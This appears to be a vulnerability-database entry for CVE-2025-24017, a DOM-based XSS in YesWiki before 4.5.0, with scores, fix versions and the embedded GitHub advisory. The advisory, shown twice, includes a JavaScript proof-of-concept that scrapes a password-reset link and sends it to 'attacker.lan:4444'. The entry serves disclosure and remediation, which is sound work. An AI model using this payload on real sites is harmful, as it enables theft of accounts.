CVE-2025-24017: Yeswiki/yeswiki Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-wphc-5f2j-jhvg
CVSS 7.6
CWE-79
Published
Advisory Summary

CVE-2025-24017 is a HIGH (CVSS 7.6) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves unauthenticated dom based xss in yeswiki. Remediation is available by upgrading affected packages to version 4.5.0.

CVE-2025-24017 at a Glance

CVE Identifier CVE-2025-24017
GHSA Identifier GHSA-wphc-5f2j-jhvg
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Yeswiki/yeswiki
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2025-24017

To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yeswiki/yeswiki fixed: 4.5.0
Upgrade yeswiki/yeswiki to 4.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yeswiki/yeswiki

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-24017, inspect your project dependencies for Yeswiki/yeswiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Unauthenticated DOM Based XSS in YesWiki <= 4.4.5 ### Summary It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link. This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (`doryphore-dev` branch, latest) - Docker environnment (`docker/docker-compose.yml`) - Docker v27.5.0 - Default installation ### Details The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. This part of the code is managed by `tools/tags/handlers/page/listpages.php`, and **[this piece of code](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84)** is responsible for the vulnerability: ```php $output .= '<div class="alert alert-info">' . "\n"; if ($nb_total > 1) { $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]); } elseif ($nb_total == 1) { $output .= _t('TAGS_ONE_PAGE_FOUND'); } else { $output .= _t('TAGS_NO_PAGE'); } $output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) { return '<span class="tag-label label label-info">' . $tagName . '</span>'; }, $tab_selected_tags)) : '') . '.'; $output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n"; $output .= '</div>' . "\n" . $text; echo $this->Header(); echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hr_clear\" />\n</div>\n"; echo $this->Footer(); ``` The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered. ### PoC #### 1. Simple XSS Abusing the `tags` parameter, we can successfully obtain client side javascript execution: ![poc1](https://github.com/user-attachments/assets/cfd59dd6-ebda-4587-b903-d2777fc7d780) #### 2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS: ```javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); }) ``` Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account. ![poc2](https://github.com/user-attachments/assets/02884697-f0a5-43df-8bab-d83f8c9a102d) ![poc3](https://github.com/user-attachments/assets/ef5b44f1-97bb-4cf1-a32b-471f8c672ebd) ![poc4](https://github.com/user-attachments/assets/6a0193a2-1a01-4c65-bd97-f7c900f7f174) ### Impact This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance. ### Suggestion of possible corrective measures - Sanitize properly the tag names when created [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60) ```php foreach ($tags as $tag) { trim($tag); if ($tag != '') { if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) { $this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', ''); } //on supprime ce tag du tableau des tags restants a effacer if (isset($tags_restants_a_effacer)) { unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]); } } } ``` - Sanitize the tag names when looked for [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15) ```php //$tags = (isset($_GET['tags'])) ? $_GET['tags'] : ''; $tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : ''; ``` - Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token - Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) > The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

CVE-2025-24017 Affected Yeswiki/yeswiki Versions

1 component(s)
Fixed Versions:
4.5.0
Product / Package Ecosystem Affected Versions Fixed Version
yeswiki/yeswiki
Packagist
< 4.5.0
4.5.0

References

Frequently Asked Questions

What is CVE-2025-24017?
CVE-2025-24017 is a security vulnerability in Yeswiki/yeswiki involving Unauthenticated DOM Based XSS in YesWiki under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Yeswiki/yeswiki versions are affected?
Affected versions include releases prior to 4.5.0 across affected packages: yeswiki/yeswiki.
What version fixes CVE-2025-24017?
Upgrading to 4.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yeswiki/yeswiki affected?
Yes, yeswiki/yeswiki is affected in releases prior to 4.5.0. Upgrade your dependency to 4.5.0 or later.
What is the CVSS score of CVE-2025-24017?
CVE-2025-24017 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L.
What CWE is associated with CVE-2025-24017?
CVE-2025-24017 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2025-24017?
Run the dependency tree command: 'inspect dependencies for yeswiki/yeswiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wphc-5f2j-jhvg",
  "modified" : "2025-01-21T20:08:37Z",
  "published" : "2025-01-21T20:08:37Z",
  "aliases" : [ "CVE-2025-24017" ],
  "summary" : "Unauthenticated DOM Based XSS in YesWiki",
  "details" : "# Unauthenticated DOM Based XSS in YesWiki <= 4.4.5\n\n### Summary\nIt is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. \n\nThis part of the code is managed by `tools/tags/handlers/page/listpages.php`, and **[this piece of code](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84)** is responsible for the vulnerability:\n\n```php\n$output .= '<div class=\"alert alert-info\">' . \"\\n\";\nif ($nb_total > 1) {\n    $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]);\n} elseif ($nb_total == 1) {\n    $output .= _t('TAGS_ONE_PAGE_FOUND');\n} else {\n    $output .= _t('TAGS_NO_PAGE');\n}\n$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {\n    return '<span class=\"tag-label label label-info\">' . $tagName . '</span>';\n}, $tab_selected_tags)) : '') . '.';\n$output .= $this->Format('{{rss tags=\"' . $tags . '\" class=\"pull-right\"}}') . \"\\n\";\n$output .= '</div>' . \"\\n\" . $text;\n\necho $this->Header();\necho \"<div class=\\\"page\\\">\\n$output\\n$outputselecttag\\n<hr class=\\\"hr_clear\\\" />\\n</div>\\n\";\necho $this->Footer();\n```\n\nThe tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.\n\n### PoC\n#### 1. Simple XSS\nAbusing the `tags` parameter, we can successfully obtain client side javascript execution:\n\n![poc1](https://github.com/user-attachments/assets/cfd59dd6-ebda-4587-b903-d2777fc7d780)\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch('/?ParametresUtilisateur')\n  .then(response => {\n    return response.text();\n  })\n  .then(htmlString => {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(htmlString, 'text/html');\n    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty\n    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));\n  })\n```\n\nHosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.\n\n![poc2](https://github.com/user-attachments/assets/02884697-f0a5-43df-8bab-d83f8c9a102d)\n![poc3](https://github.com/user-attachments/assets/ef5b44f1-97bb-4cf1-a32b-471f8c672ebd)\n![poc4](https://github.com/user-attachments/assets/6a0193a2-1a01-4c65-bd97-f7c900f7f174)\n\n### Impact\nThis vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the tag names when created [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60)\n\n```php\n        foreach ($tags as $tag) {\n            trim($tag);\n            if ($tag != '') {\n                if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '')) {\n                    $this->tripleStore->create($page, 'http://outils-reseaux.org/_vocabulary/tag', htmlspecialchars($tag), '', '');\n                }\n                //on supprime ce tag du tableau des tags restants a effacer\n                if (isset($tags_restants_a_effacer)) {\n                    unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);\n                }\n            }\n        }\n```\n\n- Sanitize the tag names when looked for [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15)\n\n```php\n//$tags = (isset($_GET['tags'])) ? $_GET['tags'] : '';\n$tags = (isset($_GET['tags'])) ? htmlspecialchars($_GET['tags']) : '';\n```\n\n- Implement a stronger password reset mechanism through:\n  + Not showing a password reset link to an already logged-in user. \n  + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n  + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n> The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-24017"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-21T20:08:37Z",
    "nvd_published_at" : "2025-01-21T16:15:15Z"
  }
}